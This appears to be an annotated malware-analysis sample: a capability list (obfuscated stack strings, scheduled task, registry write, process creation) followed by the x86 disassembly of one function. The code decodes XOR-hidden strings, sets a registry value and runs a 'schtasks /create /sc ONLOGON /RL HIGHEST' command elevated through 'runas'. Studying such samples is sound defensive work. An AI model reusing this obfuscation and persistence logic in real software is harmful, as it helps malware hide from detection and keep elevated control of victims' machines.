Function at 0x401a80
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path
Schedule task via schtasks
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 8], esi
push edi
test edx, edx
jne 0x401e66
movzx eax, word [str._s_schtasks.exe]
mov edx, 0x78
xor ax, dx
mov dword [ebp - 0xc4], 0x2b0078
mov word [ebp - 0x66], ax
movzx eax, word [0x41e9b6]
xor ax, dx
mov dword [ebp - 0xc0], 0x1e0017
mov word [ebp - 0x64], ax
movzx eax, word [0x41e9b8]
xor ax, dx
mov dword [ebp - 0xbc], 0xf000c
mov word [ebp - 0x62], ax
movzx eax, word [0x41e9ba]
xor ax, dx
mov dword [ebp - 0xb8], 0xa0019
mov word [ebp - 0x60], ax
movzx eax, word [0x41e9bc]
xor ax, dx
mov dword [ebp - 0xb4], 0x24001d
mov word [ebp - 0x5e], ax
movzx eax, word [0x41e9be]
xor ax, dx
mov dword [ebp - 0xb0], 0x110035
mov word [ebp - 0x5c], ax
movzx eax, word [0x41e9c0]
xor ax, dx
mov dword [ebp - 0xac], 0xa001b
mov word [ebp - 0x5a], ax
movzx eax, word [0x41e9c2]
xor ax, dx
mov dword [ebp - 0xa8], 0xb0017
mov word [ebp - 0x58], ax
movzx eax, word [0x41e9c4]
xor ax, dx
mov dword [ebp - 0xa4], 0x1e0017
mov word [ebp - 0x56], ax
movzx eax, word [0x41e9c6]
xor ax, dx
mov dword [ebp - 0xa0], 0x24000c
mov word [ebp - 0x54], ax
movzx eax, word [0x41e9c8]
xor ax, dx
mov dword [ebp - 0x9c], 0x11002f
mov word [ebp - 0x52], ax
movzx eax, word [0x41e9ca]
xor ax, dx
mov dword [ebp - 0x98], 0x1c0016
mov word [ebp - 0x50], ax
movzx eax, word [0x41e9cc]
xor ax, dx
mov dword [ebp - 0x94], 0xf0017
mov word [ebp - 0x4e], ax
movzx eax, word [0x41e9ce]
xor ax, dx
mov dword [ebp - 0x90], 0x24000b
mov word [ebp - 0x4c], ax
movzx eax, word [0x41e9d0]
xor ax, dx
mov dword [ebp - 0x8c], 0xd003b
mov word [ebp - 0x4a], ax
movzx eax, word [0x41e9d2]
xor ax, dx
mov dword [ebp - 0x88], 0xa000a
mov word [ebp - 0x48], ax
movzx eax, word [0x41e9d4]
xor ax, dx
mov dword [ebp - 0x84], 0x16001d
mov word [ebp - 0x46], ax
movzx eax, word [0x41e9d6]
xor ax, dx
mov dword [ebp - 0x80], 0x2e000c
mov word [ebp - 0x44], ax
movzx eax, word [str._create__sc_ONLOGON__tn___s___tr___s___RL_HIGHEST]
mov dword [ebp - 0x7c], 0xa001d
xor ax, dx
mov dword [ebp - 0x78], 0x11000b
mov dword [ebp - 0x74], 0x160017
mov dword [ebp - 0x70], 0x2a0024
mov dword [ebp - 0x6c], 0x16000d
mov word [ebp - 0x68], dx
mov word [ebp - 0x42], ax
movzx eax, word [0x41e9da]
xor ax, dx
mov word [ebp - 0x40], ax
movzx eax, word [0x41e9dc]
xor ax, dx
mov word [ebp - 0x3e], ax
movzx eax, word [0x41e9de]
xor ax, dx
mov word [ebp - 0x3c], ax
movzx eax, word [0x41e9e0]
xor ax, dx
mov word [ebp - 0x3a], ax
movzx eax, word [0x41e9e2]
xor ax, dx
mov word [ebp - 0x38], ax
movzx eax, word [0x41e9e4]
xor ax, dx
mov word [ebp - 0x36], ax
movzx eax, word [0x41e9e6]
xor ax, dx
mov word [ebp - 0x34], ax
movzx eax, word [0x41e9e8]
xor ax, dx
mov word [ebp - 0x32], ax
movzx eax, word [0x41e9ea]
xor ax, dx
mov word [ebp - 0x30], ax
movzx eax, word [0x41e9ec]
xor ax, dx
mov word [ebp - 0x2e], ax
movzx eax, word [0x41e9ee]
xor ax, dx
mov word [ebp - 0x2c], ax
movzx eax, word [0x41e9f0]
xor ax, dx
mov word [ebp - 0x2a], ax
movzx eax, word [0x41e9f2]
xor ax, dx
mov word [ebp - 0x28], ax
movzx eax, word [0x41e9f4]
xor ax, dx
mov word [ebp - 0x26], ax
movzx eax, word [0x41e9f6]
xor ax, dx
mov word [ebp - 0x24], ax
movzx eax, word [0x41e9f8]
xor ax, dx
mov word [ebp - 0x22], ax
movzx eax, word [0x41e9fa]
xor ax, dx
mov word [ebp - 0x20], ax
movzx eax, word [0x41e9fc]
xor ax, dx
mov word [ebp - 0x1e], ax
movzx eax, word [0x41e9fe]
xor ax, dx
mov word [ebp - 0x1c], ax
movzx eax, word [0x41ea00]
xor ax, dx
mov word [ebp - 0x1a], ax
movzx eax, word [0x41ea02]
xor ax, dx
mov word [ebp - 0x18], ax
movzx eax, word [0x41ea04]
xor ax, dx
mov word [ebp - 0x16], ax
movzx eax, word [0x41ea06]
xor ax, dx
mov word [ebp - 0x14], ax
movzx eax, word [0x41ea08]
xor ax, dx
mov word [ebp - 0x12], ax
movzx eax, word [0x41ea0a]
xor ax, dx
mov word [ebp - 0x10], ax
movzx eax, word [0x41ea0c]
xor ax, dx
mov word [ebp - 0xe], ax
xor eax, eax
mov word [ebp - 0xc], ax
nop
xor word [ebp + eax*2 - 0xc2], dx
inc eax
cmp eax, 0x5b
jae 0x401e17
mov dx, word [ebp - 0xc4]
jmp 0x401e00
xor eax, eax
mov word [ebp - 0xc], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc2]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push ebx
push 1
push 0
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406f60
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x20a
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x104
push eax
mov dword [ebp - 0xdc], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
je 0x402485
push 0x20a
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [ebp - 0x120], 0x340011
movzx eax, word [0x41e9d4]
mov ecx, 0x11
xor ax, cx
mov dword [ebp - 0xd8], edx
mov word [ebp - 0xfe], ax
movzx eax, word [0x41e9d6]
xor ax, cx
mov dword [ebp - 0x11c], 0x4d0062
mov word [ebp - 0xfc], ax
movzx eax, word [str._create__sc_ONLOGON__tn___s___tr___s___RL_HIGHEST]
xor ax, cx
mov dword [ebp - 0x118], 0x720062
mov word [ebp - 0xfa], ax
movzx eax, word [0x41e9da]
xor ax, cx
mov dword [ebp - 0x114], 0x650079
mov word [ebp - 0xf8], ax
movzx eax, word [0x41e9dc]
xor ax, cx
mov dword [ebp - 0x110], 0x620070
mov word [ebp - 0xf6], ax
movzx eax, word [0x41e9de]
xor ax, cx
mov dword [ebp - 0x10c], 0x62007a
mov word [ebp - 0xf4], ax
movzx eax, word [0x41e9e0]
xor ax, cx
mov dword [ebp - 0x108], 0x74003f
mov word [ebp - 0xf2], ax
movzx eax, word [0x41e9e2]
xor ax, cx
mov dword [ebp - 0x104], 0x740069
mov word [ebp - 0xf0], ax
movzx eax, word [0x41e9e4]
xor ax, cx
mov word [ebp - 0x100], cx
mov word [ebp - 0xee], ax
movzx eax, word [0x41e9e6]
xor ax, cx
mov word [ebp - 0xec], ax
movzx eax, word [0x41e9e8]
xor ax, cx
mov word [ebp - 0xea], ax
movzx eax, word [0x41e9ea]
xor ax, cx
mov word [ebp - 0xe8], ax
movzx eax, word [0x41e9ec]
xor ax, cx
mov word [ebp - 0xe6], ax
movzx eax, word [0x41e9ee]
xor ax, cx
mov word [ebp - 0xe4], ax
movzx eax, word [0x41e9f0]
xor ax, cx
mov word [ebp - 0xe2], ax
xor eax, eax
mov word [ebp - 0xe0], ax
nop dword [eax + eax]
xor word [ebp + eax*2 - 0x11e], cx
inc eax
cmp eax, 0x1f
jae 0x402037
mov cx, word [ebp - 0x120]
jmp 0x402020
push dword [ebp - 0xdc]
xor eax, eax
mov word [ebp - 0xe0], ax
lea eax, [ebp - 0x11e]
push eax
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x20a
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [ebp - 0xd4], 0x43006c
movzx eax, word [str.runas]
mov ecx, 0x6c
xor ax, cx
mov dword [ebp - 0x124], edx
mov word [ebp - 0x6e], ax
movzx eax, word [0x41ea3e]
xor ax, cx
mov dword [ebp - 0xd0], 0x1e000f
mov word [ebp - 0x6c], ax
movzx eax, word [0x41ea40]
xor ax, cx
mov dword [ebp - 0xcc], 0xd0009
mov word [ebp - 0x6a], ax
movzx eax, word [0x41ea42]
xor ax, cx
mov dword [ebp - 0xc8], 0x90018
mov word [ebp - 0x68], ax
movzx eax, word [0x41ea44]
xor ax, cx
mov dword [ebp - 0xc4], 0x43004c
mov word [ebp - 0x66], ax
movzx eax, word [0x41ea46]
xor ax, cx
mov dword [ebp - 0xc0], 0xf001f
mov word [ebp - 0x64], ax
movzx eax, word [str._c___s_]
xor ax, cx
mov dword [ebp - 0xbc], 0x23004c
mov word [ebp - 0x62], ax
movzx eax, word [0x41ea4a]
xor ax, cx
mov dword [ebp - 0xb8], 0x200022
mov word [ebp - 0x60], ax
movzx eax, word [0x41ea4c]
xor ax, cx
mov dword [ebp - 0xb4], 0x2b0023
mov word [ebp - 0x5e], ax
movzx eax, word [0x41ea4e]
xor ax, cx
mov dword [ebp - 0xb0], 0x220023
mov word [ebp - 0x5c], ax
movzx eax, word [0x41ea50]
xor ax, cx
mov dword [ebp - 0xac], 0x43004c
mov word [ebp - 0x5a], ax
movzx eax, word [0x41ea52]
xor ax, cx
mov dword [ebp - 0xa8], 0x20018
mov word [ebp - 0x58], ax
movzx eax, word [0x41ea54]
xor ax, cx
mov dword [ebp - 0xa4], 0x4e004c
mov dword [ebp - 0xa0], 0x1f0049
mov dword [ebp - 0x9c], 0x4c004e
mov dword [ebp - 0x98], 0x180043
mov dword [ebp - 0x94], 0x4c001e
mov dword [ebp - 0x90], 0x49004e
mov dword [ebp - 0x8c], 0x4e001f
mov dword [ebp - 0x88], 0x43004c
mov dword [ebp - 0x84], 0x20003e
mov dword [ebp - 0x80], 0x24004c
mov dword [ebp - 0x7c], 0x2b0025
mov dword [ebp - 0x78], 0x290024
mov dword [ebp - 0x74], 0x38003f
mov word [ebp - 0x70], cx
mov word [ebp - 0x56], ax
movzx eax, word [0x41ea56]
xor ax, cx
mov word [ebp - 0x54], ax
movzx eax, word [str.cmd.exe]
xor ax, cx
mov word [ebp - 0x52], ax
movzx eax, word [0x41ea5a]
xor ax, cx
mov word [ebp - 0x50], ax
movzx eax, word [0x41ea5c]
xor ax, cx
mov word [ebp - 0x4e], ax
movzx eax, word [0x41ea5e]
xor ax, cx
mov word [ebp - 0x4c], ax
movzx eax, word [0x41ea60]
xor ax, cx
mov word [ebp - 0x4a], ax
movzx eax, word [0x41ea62]
xor ax, cx
mov word [ebp - 0x48], ax
movzx eax, word [0x41ea64]
xor ax, cx
mov word [ebp - 0x46], ax
movzx eax, word [0x41ea66]
xor ax, cx
mov word [ebp - 0x44], ax
movzx eax, word [str.need_dictionary]
xor ax, cx
mov word [ebp - 0x42], ax
movzx eax, word [0x41ea6a]
xor ax, cx
mov word [ebp - 0x40], ax
movzx eax, word [0x41ea6c]
xor ax, cx
mov word [ebp - 0x3e], ax
movzx eax, word [0x41ea6e]
xor ax, cx
mov word [ebp - 0x3c], ax
movzx eax, word [0x41ea70]
xor ax, cx
mov word [ebp - 0x3a], ax
movzx eax, word [0x41ea72]
xor ax, cx
mov word [ebp - 0x38], ax
movzx eax, word [0x41ea74]
xor ax, cx
mov word [ebp - 0x36], ax
movzx eax, word [0x41ea76]
xor ax, cx
mov word [ebp - 0x34], ax
movzx eax, word [0x41ea78]
xor ax, cx
mov word [ebp - 0x32], ax
movzx eax, word [0x41ea7a]
xor ax, cx
mov word [ebp - 0x30], ax
movzx eax, word [str.invalid_literal_length_code]
xor ax, cx
mov word [ebp - 0x2e], ax
movzx eax, word [0x41ea7e]
xor ax, cx
mov word [ebp - 0x2c], ax
movzx eax, word [0x41ea80]
xor ax, cx
mov word [ebp - 0x2a], ax
movzx eax, word [0x41ea82]
xor ax, cx
mov word [ebp - 0x28], ax
movzx eax, word [0x41ea84]
xor ax, cx
mov word [ebp - 0x26], ax
movzx eax, word [0x41ea86]
xor ax, cx
mov word [ebp - 0x24], ax
movzx eax, word [0x41ea88]
xor ax, cx
mov word [ebp - 0x22], ax
movzx eax, word [0x41ea8a]
xor ax, cx
mov word [ebp - 0x20], ax
movzx eax, word [0x41ea8c]
xor ax, cx
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov word [ebp - 0x1e], ax
movzx eax, word [0x41ea8e]
xor ax, cx
mov word [ebp - 0x1c], ax
movzx eax, word [0x41ea90]
xor ax, cx
mov word [ebp - 0x1a], ax
movzx eax, word [0x41ea92]
xor ax, cx
mov word [ebp - 0x18], ax
movzx eax, word [0x41ea94]
xor ax, cx
mov word [ebp - 0x16], ax
movzx eax, word [0x41ea96]
xor ax, cx
mov word [ebp - 0x14], ax
movzx eax, word [str.invalid_distance_code]
xor ax, cx
mov word [ebp - 0x12], ax
movzx eax, word [0x41ea9a]
xor ax, cx
mov word [ebp - 0x10], ax
movzx eax, word [0x41ea9c]
xor ax, cx
mov word [ebp - 0xe], ax
xor eax, eax
mov word [ebp - 0xc], ax
xor word [ebp + eax*2 - 0xd2], cx
inc eax
cmp eax, 0x63
jae 0x402437
mov cx, word [ebp - 0xd4]
jmp 0x402420
xor eax, eax
push ebx
push dword [ebp - 8]
mov word [ebp - 0xc], ax
lea eax, [ebp - 0xd2]
push eax
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ebx, dword [ebp - 0x124]
add esp, 0x10
push 0
push 0
push ebx
push dword [ebp - 0xd8]
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push dword [ebp - 0xd8]
push 0
call esi
push eax
call edi
push ebx
push 0
call esi
push eax
call edi
push dword [ebp - 0xdc]
push 0
call esi
push eax
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406f60
mov esp, ebp
pop ebp
ret